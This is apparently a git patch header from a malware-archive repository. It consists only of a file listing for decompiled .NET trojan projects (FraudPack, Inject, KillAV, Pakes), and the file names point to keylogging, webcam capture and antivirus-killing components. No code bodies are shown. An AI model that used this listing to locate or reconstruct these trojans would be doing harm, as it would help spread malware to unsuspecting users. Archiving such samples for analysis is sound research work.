From 7290cd4cd5e7e20db608ed24e3b200314c60d6da Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sun, 21 Aug 2022 20:15:41 -0500 Subject: [PATCH] mov add --- .../AssemblyInfo.cs | 16 - .../Trojan.MSIL.FraudPack.m.csproj | 51 - .../Trojan.MSIL.FraudPack.m.sln | 20 - .../_0002.cs | 33 - .../_0003.cs | 62 - .../_0003.resx | 120 - .../_0005.cs | 55 - .../_0006.cs | 31 - .../_0008.cs | 191 - .../crss/Properties/Resources.resx | 120 - .../crss/Properties/Settings.cs | 28 - .../            | Bin 199 -> 0 bytes .../AssemblyInfo.cs | 16 - .../Trojan.MSIL.FraudPack.n.csproj | 52 - .../Trojan.MSIL.FraudPack.n.sln | 20 - .../_0002.cs | 15 - .../_0003.cs | 44 - .../_0003.resx | 120 - .../_0005.cs | 499 -- .../_0005.resx | 120 - .../_0006.cs | 31 - .../_0008.cs | 209 - .../_000E.cs | 200 - .../          ​   | Bin 1210 -> 0 bytes .../Trojan.MSIL.Inject.aey.csproj | 53 - .../Trojan.MSIL.Inject.aey.sln | 20 - .../_003C.cs | 9 - .../.cs | 21 - .../.cs | 498 -- .../.cs | 46 - .../.cs | 1058 ---- .../.cs | 11 - .../.cs | 13 - .../.cs | 11 - .../.cs | 798 --- .../.cs | 1584 ------ .../.cs | 419 -- .../AssemblyInfo.cs | 5 - .../Trojan.MSIL.Inject.aey.csproj | 53 - .../Trojan.MSIL.Inject.aey.sln | 20 - .../_003C.cs | 9 - .../.cs | 21 - .../.cs | 498 -- .../.cs | 46 - .../.cs | 1058 ---- .../.cs | 11 - .../.cs | 13 - .../.cs | 11 - .../.cs | 798 --- .../.cs | 1584 ------ .../.cs | 419 -- .../AssemblyInfo.cs | 13 - .../Module1.cs | 54 - .../My/MyApplication.cs | 23 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 194 - .../My/MySettings.cs | 36 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan.MSIL.Inject.bq.csproj | 55 - .../Trojan.MSIL.Inject.bq.sln | 20 - .../x86.cs | 170 - .../AssemblyInfo.cs | 13 - .../Module1.cs | 54 - .../My/MyApplication.cs | 23 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 194 - .../My/MySettings.cs | 36 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan.MSIL.Inject.bq.csproj | 52 - .../Trojan.MSIL.Inject.bq.sln | 20 - .../x86.cs | 170 - .../AssemblyInfo.cs | 13 - .../Module1.cs | 54 - .../My/MyApplication.cs | 23 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 194 - .../My/MySettings.cs | 36 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan.MSIL.Inject.bq.csproj | 52 - .../Trojan.MSIL.Inject.bq.sln | 20 - .../x86.cs | 170 - .../AssemblyInfo.cs | 13 - .../Module1.cs | 54 - .../My/MyApplication.cs | 23 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 194 - .../My/MySettings.cs | 36 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan.MSIL.Inject.bq.csproj | 52 - .../Trojan.MSIL.Inject.bq.sln | 20 - .../x86.cs | 170 - .../AssemblyInfo.cs | 13 - .../Module1.cs | 54 - .../My/MyApplication.cs | 23 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 194 - .../My/MySettings.cs | 36 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan.MSIL.Inject.bq.csproj | 52 - .../Trojan.MSIL.Inject.bq.sln | 20 - .../x86.cs | 170 - .../AssemblyInfo.cs | 11 - .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../Trojan.MSIL.Inject.qn.csproj | 50 - .../Trojan.MSIL.Inject.qn.sln | 20 - .../afwwfafwafawfwa.cs | 76 - .../agawhhwahwwhwh.cs | 48 - .../aheehzhdzdhzez.cs | 300 -- .../dkawod.cs | 48 - .../gawhwahawahw.cs | 48 - .../jdawdiawhiwhfifaw.cs | 102 - .../justsomeshit.cs | 30 - .../sakiajfwefjwa.cs | 67 - .../AssemblyInfo.cs | 7 - .../MyApplication.cs | 18 - .../MyComputer.cs | 24 - .../MyProject.cs | 108 - .../Trojan.MSIL.Inject.sh.csproj | 45 - .../Trojan.MSIL.Inject.sh.sln | 20 - .../YKlIHiQhUYxYjdv.cs | 38 - .../yvHKZuvFPKnDWpJ.cs | 1933 -------- .../AssemblyInfo.cs | 13 - .../Form1.cs | 98 - .../Form1.resx | 177 - .../Trojan.MSIL.KillAV.a.csproj | 46 - .../Trojan.MSIL.KillAV.a.sln | 20 - .../AssemblyInfo.cs | 13 - .../DShowNET/AMMediaType.cs | 28 - .../DShowNET/AMTunerEventType.cs | 16 - .../DShowNET/AMTunerModeType.cs | 22 - .../DShowNET/AMTunerSignalStrength.cs | 18 - .../DShowNET/AMTunerSubChannel.cs | 17 - .../DShowNET/AnalogVideoStandard.cs | 38 - .../DShowNET/AudioStreamConfigCaps.cs | 27 - .../DShowNET/BitmapInfoHeader.cs | 27 - .../DShowNET/CLSCTX.cs | 18 - .../DShowNET/Clsid.cs | 29 - .../DShowNET/Device/DsDev.cs | 91 - .../DShowNET/Device/DsDevice.cs | 25 - .../DShowNET/Device/ICreateDevEnum.cs | 22 - .../DShowNET/Device/IPropertyBag.cs | 25 - .../DShowNET/DsBugWO.cs | 36 - .../DShowNET/DsCAUUID.cs | 18 - .../DShowNET/DsEvCode.cs | 64 - .../DShowNET/DsHlp.cs | 21 - .../DShowNET/DsOptInt64.cs | 19 - .../DShowNET/DsOptIntPtr.cs | 18 - .../DShowNET/DsPOINT.cs | 17 - .../DShowNET/DsRECT.cs | 19 - .../DShowNET/DsROT.cs | 80 - .../DShowNET/DsUtils.cs | 152 - .../DShowNET/Dvd/DvdAudioAppMode.cs | 16 - .../DShowNET/Dvd/DvdAudioAttr.cs | 28 - .../DShowNET/Dvd/DvdAudioCaps.cs | 20 - .../DShowNET/Dvd/DvdAudioFormat.cs | 21 - .../DShowNET/Dvd/DvdAudioLangExt.cs | 17 - .../DShowNET/Dvd/DvdCharSet.cs | 17 - .../DShowNET/Dvd/DvdCmdFlags.cs | 21 - .../DShowNET/Dvd/DvdDecoderCaps.cs | 28 - .../DShowNET/Dvd/DvdDiscSide.cs | 14 - .../DShowNET/Dvd/DvdDomain.cs | 17 - .../DShowNET/Dvd/DvdGraphFlags.cs | 21 - .../DShowNET/Dvd/DvdMenuAttr.cs | 23 - .../DShowNET/Dvd/DvdMenuID.cs | 18 - .../DShowNET/Dvd/DvdOptionFlag.cs | 15 - .../DShowNET/Dvd/DvdPlayLocation.cs | 20 - .../DShowNET/Dvd/DvdRelButton.cs | 16 - .../DShowNET/Dvd/DvdRenderStatus.cs | 24 - .../DShowNET/Dvd/DvdStreamFlags.cs | 19 - .../DShowNET/Dvd/DvdSubPicAttr.cs | 20 - .../DShowNET/Dvd/DvdSubPicCoding.cs | 15 - .../DShowNET/Dvd/DvdSubPicLangExt.cs | 23 - .../DShowNET/Dvd/DvdSubPicType.cs | 15 - .../DShowNET/Dvd/DvdTimeCode.cs | 20 - .../DShowNET/Dvd/DvdTitleAppMode.cs | 15 - .../DShowNET/Dvd/DvdTitleAttr.cs | 19 - .../DShowNET/Dvd/DvdVideoAttr.cs | 29 - .../DShowNET/Dvd/DvdVideoCompress.cs | 15 - .../DShowNET/Dvd/IDvdCmd.cs | 24 - .../DShowNET/Dvd/IDvdControl2.cs | 152 - .../DShowNET/Dvd/IDvdGraphBuilder.cs | 31 - .../DShowNET/Dvd/IDvdInfo2.cs | 159 - .../DShowNET/Dvd/IDvdState.cs | 24 - .../DShowNET/Dvd/OptIDvdCmd.cs | 17 - .../DShowNET/FilterCategory.cs | 21 - .../DShowNET/FilterInfo.cs | 20 - .../DShowNET/FindDirection.cs | 18 - .../DShowNET/FormatType.cs | 23 - .../DShowNET/IAMAudioInputMixer.cs | 49 - .../DShowNET/IAMCollection.cs | 27 - .../DShowNET/IAMCopyCaptureFileProgress.cs | 21 - .../DShowNET/IAMCrossbar.cs | 37 - .../DShowNET/IAMStreamConfig.cs | 31 - .../DShowNET/IAMTVTuner.cs | 100 - .../DShowNET/IAMTuner.cs | 67 - .../DShowNET/IAMTunerNotification.cs | 21 - .../DShowNET/IAMVfwCompressDialogs.cs | 28 - .../DShowNET/IBaseFilter.cs | 55 - .../DShowNET/IBasicAudio.cs | 30 - .../DShowNET/IBasicVideo2.cs | 118 - .../DShowNET/ICaptureGraphBuilder2.cs | 78 - .../DShowNET/IEnumFilters.cs | 28 - .../DShowNET/IEnumPins.cs | 28 - .../DShowNET/IFileSinkFilter.cs | 24 - .../DShowNET/IFileSinkFilter2.cs | 30 - .../DShowNET/IFilterGraph.cs | 42 - .../DShowNET/IGraphBuilder.cs | 64 - .../DShowNET/IMediaControl.cs | 45 - .../DShowNET/IMediaEvent.cs | 37 - .../DShowNET/IMediaEventEx.cs | 46 - .../DShowNET/IMediaFilter.cs | 40 - .../DShowNET/IMediaPosition.cs | 51 - .../DShowNET/IMediaSample.cs | 67 - .../DShowNET/IMediaSeeking.cs | 78 - .../DShowNET/IPersist.cs | 22 - .../DShowNET/IPersistStream.cs | 22 - .../DShowNET/IPin.cs | 64 - .../DShowNET/IReferenceClock.cs | 35 - .../DShowNET/ISampleGrabber.cs | 40 - .../DShowNET/ISampleGrabberCB.cs | 25 - .../DShowNET/ISpecifyPropertyPages.cs | 21 - .../DShowNET/IVMRFilterConfig.cs | 40 - .../DShowNET/IVMRFilterConfig9.cs | 40 - .../DShowNET/IVMRWindowlessControl.cs | 52 - .../DShowNET/IVMRWindowlessControl9.cs | 48 - .../DShowNET/IVideoFrameStep.cs | 27 - .../DShowNET/IVideoWindow.cs | 136 - .../DShowNET/MediaSubType.cs | 28 - .../DShowNET/MediaType.cs | 21 - .../DShowNET/PhysicalConnectorType.cs | 39 - .../DShowNET/PinCategory.cs | 18 - .../DShowNET/PinDirection.cs | 17 - .../DShowNET/PinInfo.cs | 20 - .../DShowNET/RECT.cs | 19 - .../DShowNET/SeekingCapabilities.cs | 26 - .../DShowNET/SeekingFlags.cs | 26 - .../DShowNET/TunerInputType.cs | 17 - .../DShowNET/VMR9AspectRatioMode.cs | 17 - .../DShowNET/VMRMode.cs | 18 - .../DShowNET/VMRMode9.cs | 18 - .../DShowNET/VfwCompressDialogs.cs | 16 - .../DShowNET/VideoInfoHeader.cs | 22 - .../DShowNET/VideoInfoHeader2.cs | 28 - .../DShowNET/VideoStreamConfigCaps.cs | 39 - .../DShowNET/WaveFormatEx.cs | 23 - .../DirectX/Capture/AudioCapabilities.cs | 71 - .../DirectX/Capture/AudioSource.cs | 57 - .../DirectX/Capture/Capture.cs | 925 ---- .../DirectX/Capture/Capture.resx | 120 - .../DirectX/Capture/CrossbarSource.cs | 141 - .../DirectX/Capture/DeviceInUseException.cs | 18 - .../DirectX/Capture/DirectShowPropertyPage.cs | 62 - .../DirectX/Capture/Filter.cs | 111 - .../DirectX/Capture/FilterCollection.cs | 52 - .../DirectX/Capture/Filters.cs | 18 - .../DirectX/Capture/PropertyPage.cs | 31 - .../DirectX/Capture/PropertyPageCollection.cs | 156 - .../DirectX/Capture/Source.cs | 29 - .../DirectX/Capture/SourceCollection.cs | 204 - .../DirectX/Capture/Tuner.cs | 60 - .../DirectX/Capture/TunerInputType.cs | 14 - .../Capture/VfwCompressorPropertyPage.cs | 49 - .../DirectX/Capture/VideoCapabilities.cs | 61 - .../Trojan.MSIL.KillAV.ao.csproj | 204 - .../Trojan.MSIL.KillAV.ao.sln | 20 - .../n/A.cs | 135 - .../n/API.cs | 262 - .../n/B.cs | 1335 ----- .../n/B.resx | 120 - .../n/C.cs | 117 - .../n/Cam.cs | 104 - .../n/Delegates/T/T.cs | 31 - .../n/FLD.cs | 126 - .../n/IND.cs | 2602 ---------- .../n/My/MyApplication.cs | 18 - .../n/My/MyComputer.cs | 24 - .../n/My/MyProject.cs | 225 - .../n/My/MySettings.cs | 30 - .../n/My/MySettingsProperty.cs | 31 - .../n/My/Resources/Resources.cs | 56 - .../n/NK.cs | 78 - .../n/NTSuspendProcess.cs | 55 - .../n/Resources.resx | 629 --- .../n/SocketsClient.cs | 325 -- .../n/USB.cs | 57 - .../n/chat.cs | 317 -- .../n/chat.resx | 120 - .../n/keyboard.cs | 81 - .../n/sc.cs | 185 - .../AssemblyInfo.cs | 13 - .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 189 - .../My/MySettings.cs | 30 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 50 - .../NK.cs | 79 - .../O.cs | 1409 ------ .../Resources.resx | 238 - .../T.cs | 18 - .../Trojan.MSIL.KillAV.ao.csproj | 54 - .../Trojan.MSIL.KillAV.ao.sln | 20 - .../sk.cs | 300 -- .../AssemblyInfo.cs | 13 - .../DShowNET/AMMediaType.cs | 28 - .../DShowNET/AMTunerEventType.cs | 16 - .../DShowNET/AMTunerModeType.cs | 22 - .../DShowNET/AMTunerSignalStrength.cs | 18 - .../DShowNET/AMTunerSubChannel.cs | 17 - .../DShowNET/AnalogVideoStandard.cs | 38 - .../DShowNET/AudioStreamConfigCaps.cs | 27 - .../DShowNET/BitmapInfoHeader.cs | 27 - .../DShowNET/CLSCTX.cs | 18 - .../DShowNET/Clsid.cs | 29 - .../DShowNET/Device/DsDev.cs | 91 - .../DShowNET/Device/DsDevice.cs | 25 - .../DShowNET/Device/ICreateDevEnum.cs | 22 - .../DShowNET/Device/IPropertyBag.cs | 25 - .../DShowNET/DsBugWO.cs | 36 - .../DShowNET/DsCAUUID.cs | 18 - .../DShowNET/DsEvCode.cs | 64 - .../DShowNET/DsHlp.cs | 21 - .../DShowNET/DsOptInt64.cs | 19 - .../DShowNET/DsOptIntPtr.cs | 18 - .../DShowNET/DsPOINT.cs | 17 - .../DShowNET/DsRECT.cs | 19 - .../DShowNET/DsROT.cs | 80 - .../DShowNET/DsUtils.cs | 152 - .../DShowNET/Dvd/DvdAudioAppMode.cs | 16 - .../DShowNET/Dvd/DvdAudioAttr.cs | 28 - .../DShowNET/Dvd/DvdAudioCaps.cs | 20 - .../DShowNET/Dvd/DvdAudioFormat.cs | 21 - .../DShowNET/Dvd/DvdAudioLangExt.cs | 17 - .../DShowNET/Dvd/DvdCharSet.cs | 17 - .../DShowNET/Dvd/DvdCmdFlags.cs | 21 - .../DShowNET/Dvd/DvdDecoderCaps.cs | 28 - .../DShowNET/Dvd/DvdDiscSide.cs | 14 - .../DShowNET/Dvd/DvdDomain.cs | 17 - .../DShowNET/Dvd/DvdGraphFlags.cs | 21 - .../DShowNET/Dvd/DvdMenuAttr.cs | 23 - .../DShowNET/Dvd/DvdMenuID.cs | 18 - .../DShowNET/Dvd/DvdOptionFlag.cs | 15 - .../DShowNET/Dvd/DvdPlayLocation.cs | 20 - .../DShowNET/Dvd/DvdRelButton.cs | 16 - .../DShowNET/Dvd/DvdRenderStatus.cs | 24 - .../DShowNET/Dvd/DvdStreamFlags.cs | 19 - .../DShowNET/Dvd/DvdSubPicAttr.cs | 20 - .../DShowNET/Dvd/DvdSubPicCoding.cs | 15 - .../DShowNET/Dvd/DvdSubPicLangExt.cs | 23 - .../DShowNET/Dvd/DvdSubPicType.cs | 15 - .../DShowNET/Dvd/DvdTimeCode.cs | 20 - .../DShowNET/Dvd/DvdTitleAppMode.cs | 15 - .../DShowNET/Dvd/DvdTitleAttr.cs | 19 - .../DShowNET/Dvd/DvdVideoAttr.cs | 29 - .../DShowNET/Dvd/DvdVideoCompress.cs | 15 - .../DShowNET/Dvd/IDvdCmd.cs | 24 - .../DShowNET/Dvd/IDvdControl2.cs | 152 - .../DShowNET/Dvd/IDvdGraphBuilder.cs | 31 - .../DShowNET/Dvd/IDvdInfo2.cs | 159 - .../DShowNET/Dvd/IDvdState.cs | 24 - .../DShowNET/Dvd/OptIDvdCmd.cs | 17 - .../DShowNET/FilterCategory.cs | 21 - .../DShowNET/FilterInfo.cs | 20 - .../DShowNET/FindDirection.cs | 18 - .../DShowNET/FormatType.cs | 23 - .../DShowNET/IAMAudioInputMixer.cs | 49 - .../DShowNET/IAMCollection.cs | 27 - .../DShowNET/IAMCopyCaptureFileProgress.cs | 21 - .../DShowNET/IAMCrossbar.cs | 37 - .../DShowNET/IAMStreamConfig.cs | 31 - .../DShowNET/IAMTVTuner.cs | 100 - .../DShowNET/IAMTuner.cs | 67 - .../DShowNET/IAMTunerNotification.cs | 21 - .../DShowNET/IAMVfwCompressDialogs.cs | 28 - .../DShowNET/IBaseFilter.cs | 55 - .../DShowNET/IBasicAudio.cs | 30 - .../DShowNET/IBasicVideo2.cs | 118 - .../DShowNET/ICaptureGraphBuilder2.cs | 78 - .../DShowNET/IEnumFilters.cs | 28 - .../DShowNET/IEnumPins.cs | 28 - .../DShowNET/IFileSinkFilter.cs | 24 - .../DShowNET/IFileSinkFilter2.cs | 30 - .../DShowNET/IFilterGraph.cs | 42 - .../DShowNET/IGraphBuilder.cs | 64 - .../DShowNET/IMediaControl.cs | 45 - .../DShowNET/IMediaEvent.cs | 37 - .../DShowNET/IMediaEventEx.cs | 46 - .../DShowNET/IMediaFilter.cs | 40 - .../DShowNET/IMediaPosition.cs | 51 - .../DShowNET/IMediaSample.cs | 67 - .../DShowNET/IMediaSeeking.cs | 78 - .../DShowNET/IPersist.cs | 22 - .../DShowNET/IPersistStream.cs | 22 - .../DShowNET/IPin.cs | 64 - .../DShowNET/IReferenceClock.cs | 35 - .../DShowNET/ISampleGrabber.cs | 40 - .../DShowNET/ISampleGrabberCB.cs | 25 - .../DShowNET/ISpecifyPropertyPages.cs | 21 - .../DShowNET/IVMRFilterConfig.cs | 40 - .../DShowNET/IVMRFilterConfig9.cs | 40 - .../DShowNET/IVMRWindowlessControl.cs | 52 - .../DShowNET/IVMRWindowlessControl9.cs | 48 - .../DShowNET/IVideoFrameStep.cs | 27 - .../DShowNET/IVideoWindow.cs | 136 - .../DShowNET/MediaSubType.cs | 28 - .../DShowNET/MediaType.cs | 21 - .../DShowNET/PhysicalConnectorType.cs | 39 - .../DShowNET/PinCategory.cs | 18 - .../DShowNET/PinDirection.cs | 17 - .../DShowNET/PinInfo.cs | 20 - .../DShowNET/RECT.cs | 19 - .../DShowNET/SeekingCapabilities.cs | 26 - .../DShowNET/SeekingFlags.cs | 26 - .../DShowNET/TunerInputType.cs | 17 - .../DShowNET/VMR9AspectRatioMode.cs | 17 - .../DShowNET/VMRMode.cs | 18 - .../DShowNET/VMRMode9.cs | 18 - .../DShowNET/VfwCompressDialogs.cs | 16 - .../DShowNET/VideoInfoHeader.cs | 22 - .../DShowNET/VideoInfoHeader2.cs | 28 - .../DShowNET/VideoStreamConfigCaps.cs | 39 - .../DShowNET/WaveFormatEx.cs | 23 - .../DirectX/Capture/AudioCapabilities.cs | 71 - .../DirectX/Capture/AudioSource.cs | 57 - .../DirectX/Capture/Capture.cs | 925 ---- .../DirectX/Capture/Capture.resx | 120 - .../DirectX/Capture/CrossbarSource.cs | 141 - .../DirectX/Capture/DeviceInUseException.cs | 18 - .../DirectX/Capture/DirectShowPropertyPage.cs | 62 - .../DirectX/Capture/Filter.cs | 111 - .../DirectX/Capture/FilterCollection.cs | 52 - .../DirectX/Capture/Filters.cs | 18 - .../DirectX/Capture/PropertyPage.cs | 31 - .../DirectX/Capture/PropertyPageCollection.cs | 156 - .../DirectX/Capture/Source.cs | 29 - .../DirectX/Capture/SourceCollection.cs | 204 - .../DirectX/Capture/Tuner.cs | 60 - .../DirectX/Capture/TunerInputType.cs | 14 - .../Capture/VfwCompressorPropertyPage.cs | 49 - .../DirectX/Capture/VideoCapabilities.cs | 61 - .../Trojan.MSIL.KillAV.ao.csproj | 204 - .../Trojan.MSIL.KillAV.ao.sln | 20 - .../n/A.cs | 135 - .../n/API.cs | 328 -- .../n/B.cs | 1334 ----- .../n/B.resx | 120 - .../n/C.cs | 117 - .../n/Cam.cs | 104 - .../n/Delegates/T/T.cs | 31 - .../n/FLD.cs | 126 - .../n/IND.cs | 2602 ---------- .../n/My/MyApplication.cs | 18 - .../n/My/MyComputer.cs | 24 - .../n/My/MyProject.cs | 225 - .../n/My/MySettings.cs | 30 - .../n/My/MySettingsProperty.cs | 31 - .../n/My/Resources/Resources.cs | 56 - .../n/NK.cs | 78 - .../n/NTSuspendProcess.cs | 55 - .../n/Resources.resx | 633 --- .../n/SocketsClient.cs | 325 -- .../n/USB.cs | 57 - .../n/chat.cs | 317 -- .../n/chat.resx | 120 - .../n/keyboard.cs | 81 - .../n/sc.cs | 185 - .../AssemblyInfo.cs | 8 - .../Form1.cs | 32 - .../Program.cs | 468 -- .../Properties/Resources.cs | 46 - .../Properties/Resources.resx | 120 - .../Properties/Settings.cs | 21 - .../Trojan.MSIL.KillAV.b.csproj | 47 - .../Trojan.MSIL.KillAV.b.sln | 20 - .../AssemblyInfo.cs | 14 - .../Form1.cs | 41 - .../Form1.resx | 120 - .../Program.cs | 39 - .../Properties/Resources.cs | 46 - .../Properties/Resources.resx | 120 - .../Properties/Settings.cs | 28 - .../Trojan.MSIL.KillAV.t.csproj | 49 - .../Trojan.MSIL.KillAV.t.sln | 20 - .../AssemblyInfo.cs | 5 - .../Trojan.MSIL.Pakes.ap}/AssemblyInfo.cs | 0 .../FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.cs | 0 .../Trojan.MSIL.Pakes.ap}/My/MyApplication.cs | 0 .../Trojan.MSIL.Pakes.ap}/My/MyComputer.cs | 0 .../Trojan.MSIL.Pakes.ap}/My/MyProject.cs | 0 .../OPEtRNjGrHNcOTxRFUpKCVkZr.resx | 0 .../Trojan.MSIL.Pakes.ap.csproj | 0 .../Trojan.MSIL.Pakes.ap.sln | 0 .../gZyQgvIuiwnkbwcosoPFhOUHu.cs | 0 ...çoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.cs | 0 ...óÒÒÆsÝnËÓPÛ8ÏT9DÚÖïàsaáf.cs | 0 .../AssemblyInfo.cs | 0 .../MyApplication.cs | 0 .../MyComputer.cs | 0 .../MyProject.cs | 0 .../Trojan.MSIL.Pakes.aq.csproj | 0 .../Trojan.MSIL.Pakes.aq.sln | 0 .../Ujdnd7sjD9ad.cs | 0 .../zvkFulzKssfStPc.cs | 0 .../AssemblyInfo.cs | 0 .../MyApplication.cs | 0 .../MyComputer.cs | 0 .../MyProject.cs | 0 .../Trojan.MSIL.Pakes.ar.csproj | 0 .../Trojan.MSIL.Pakes.ar.sln | 0 .../WNblUUHtUqESyQD.cs | 0 .../vOLhRciepHIdeoM.cs | 0 .../AssemblyInfo.cs | 0 .../MSOZqrNOYvcGVCJ.cs | 0 .../MyApplication.cs | 0 .../MyComputer.cs | 0 .../MyProject.cs | 0 .../Trojan.MSIL.Pakes.ar.csproj | 0 .../Trojan.MSIL.Pakes.ar.sln | 0 .../jkinYfmDedtjldD.cs | 0 .../AssemblyInfo.cs | 0 .../MyApplication.cs | 0 .../MyComputer.cs | 0 .../MyProject.cs | 0 .../TaFRRgkneETMvdg.cs | 0 .../Trojan.MSIL.Pakes.ar.csproj | 0 .../Trojan.MSIL.Pakes.ar.sln | 0 .../sOCLjdHJpKPXNsC.cs | 0 .../AssemblyInfo.cs | 0 .../Program.cs | 0 .../Trojan.MSIL.Pakes.at.csproj | 0 .../Trojan.MSIL.Pakes.at.sln | 0 .../files.resx | 0 .../AssemblyInfo.cs | 0 .../Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.cs | 0 .../Oywqlt2t1qhfwywyazfarq5uy.cs | 0 .../calbufxxjdqqg2hmd.cs | 0 .../Settings.xml | 0 .../Trojan.MSIL.Pakes.cs.csproj | 0 .../Trojan.MSIL.Pakes.cs.sln | 0 .../Uckd53gyd1mktkszq/W4ytuf0iqrlf3g3zj.cs | 0 .../A/Token2000015.cs | 0 .../A/c0fd6042cf6163af5c5647fc1f5915949.cs | 0 .../A/c20d0cffccd6dc5adbb96a36882476ba1.cs | 0 .../A/cd7d39555ed815bdbdf6dbdcced0251b4.cs | 0 .../A/ceb562aff020f9bdc8cc736dbc668c704.cs | 0 .../AssemblyInfo.cs | 0 .../Trojan.MSIL.Pakes.cx.csproj | 0 .../Trojan.MSIL.Pakes.cx.sln | 0 .../Urds1z1wtoob4waskjjcwebqs.cs | 0 .../_003CModule_003E.cs | 0 .../h5ujlmy3tnldxk1xj/Token2000013.cs | 0 .../qbtgthkfdtdkregzw5sbjritg.cs | 0 .../jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs | 0 .../majdcbl3z2ygng2ubtt5syebj.cs | 0 .../net | Bin .../xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs | 0 .../A/Token2000015.cs | 0 .../A/c0fd6042cf6163af5c5647fc1f5915949.cs | 0 .../A/c20d0cffccd6dc5adbb96a36882476ba1.cs | 0 .../A/cd7d39555ed815bdbdf6dbdcced0251b4.cs | 0 .../A/ceb562aff020f9bdc8cc736dbc668c704.cs | 0 .../AssemblyInfo.cs | 0 .../Trojan.MSIL.Pakes.cx.csproj | 0 .../Trojan.MSIL.Pakes.cx.sln | 0 .../Urds1z1wtoob4waskjjcwebqs.cs | 0 .../_003CModule_003E.cs | 0 .../h5ujlmy3tnldxk1xj/Token2000013.cs | 0 .../qbtgthkfdtdkregzw5sbjritg.cs | 0 .../jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs | 0 .../majdcbl3z2ygng2ubtt5syebj.cs | 0 .../net | Bin .../xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs | 0 .../AssemblyInfo.cs | 0 .../Trojan.MSIL.Pakes.dh.csproj | 0 .../Trojan.MSIL.Pakes.dh.sln | 0 .../aHefnbF6KHz.resx | 0 .../iagMifz5a6GqCE4rfTire.png | Bin ...ǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁ.cs | 0 .../AssemblyInfo.cs | 0 .../Trojan.MSIL.Pakes.dp.csproj | 0 .../Trojan.MSIL.Pakes.dp.sln | 0 .../_0002.cs | 0 .../_0003.cs | 0 .../_0005.cs | 0 .../_0006.cs | 0 .../_0008.cs | 0 .../_000E.cs | 0 .../_000F.cs | 0 .../zCom.resx | 0 .../             | 0 .../AssemblyInfo.cs | 0 .../FggaaqERw4/bpeaangBiXdtMncLbwcDgqA.cs | 0 .../jtjaakuZtSzpkhbvdvaAqo4.cs | 0 .../othbajgpnsnoGgaCaedEkir.cs | 0 .../KnhbactTfNdacabFcPc/Config/xml.gzc | Bin .../KnhbactTfNdacabFcPc/GeniusLibFull/dll.gzc | Bin .../Ionic/Zip/Reduced/dll.gc | Bin .../KnhbactTfNdacabFcPc/genius/js.gzc | Bin .../oahbaiumtqydciaHbkbKqTk.cs | 0 .../Trojan.MSIL.Pakes.du.csproj | 0 .../Trojan.MSIL.Pakes.du.sln | 0 .../CbkbafEkw5pkwjcaeOdbfNg.cs | 0 .../CbkbafEkw5pkwjcaeOdbfNg.resx | 0 .../teiaabaLbMbKddbmazdecRj.cs | 0 .../OrecacFWaZivwheEeCajekU.cs | 0 .../jdcbaieHqbxBybbOaZbCbMH.cs | 0 .../LumcahDjgqcApjatcFcnoFA.cs | 0 .../LumcahDjgqcApjatcFcnoFA.resx | 0 .../EeecaoCshVhcefbAaOaKqJR.cs | 0 .../LoeaadkXoSwAzcaSdLcicQP.cs | 0 .../umhbahmRfewyedeJcobtmdN.cs | 0 .../FvcbafEte8zsdedCcpdyahg.cs | 0 .../tndaaoprtYf/gqcaadgSdBydukdbefargEP.cs | 0 .../AssemblyInfo.cs | 0 .../MyApplication.cs | 0 .../MyComputer.cs | 0 .../MyProject.cs | 0 .../Stair.cs | 0 .../TC.resx | 0 .../Trojan.MSIL.Pakes.ej.csproj | 0 .../Trojan.MSIL.Pakes.ej.sln | 0 .../hKPcZIVuuWerTnSqIiJUOg.cs | 0 .../AssemblyInfo.cs | 0 .../MyApplication.cs | 0 .../MyComputer.cs | 0 .../MyProject.cs | 0 .../Stair.cs | 0 .../TC.resx | 0 .../Trojan.MSIL.Pakes.ek.csproj | 0 .../Trojan.MSIL.Pakes.ek.sln | 0 .../hKPcZIVuuWerTnSqIiJUOg.cs | 0 .../AssemblyInfo.cs | 0 .../Nskougj41ajjwi4dtqj5drevqotiurz31.cs | 0 .../Trojan.MSIL.Pakes.gb.csproj | 0 .../Trojan.MSIL.Pakes.gb.sln | 0 .../program.cs | 0 .../0c64145d7c3646cea1fd9c57ba0c125a | Bin .../AssemblyInfo.cs | 0 .../Trojan.MSIL.Pakes.gi.csproj | 0 .../Trojan.MSIL.Pakes.gi.sln | 0 .../_0002.cs | 0 .../_0002 .cs | 0 .../_0003.cs | 0 .../_0003 .cs | 0 .../_0005.cs | 0 .../_0006.cs | 0 .../_0008.cs | 0 .../_000E.cs | 0 .../_000F.cs | 0 .../_003CModule_003E.cs | 0 .../pc1eOx2WJVV_416430903.cs | 0 .../        ​  | Bin .../AssemblyInfo.cs | 0 .../MXR5t0rZbd51obbpkf.JOnbWpgB4ZFdTfsMNN | 0 .../RTVuFKK6sv7DMtTl1b/yEaIit4q8li6WX5J56.cs | 0 .../Trojan.MSIL.Pakes.gm.csproj | 0 .../Trojan.MSIL.Pakes.gm.sln | 0 ..._003E{2CCA33D9-45A2-4817-B966-4A0D6BD9B.cs 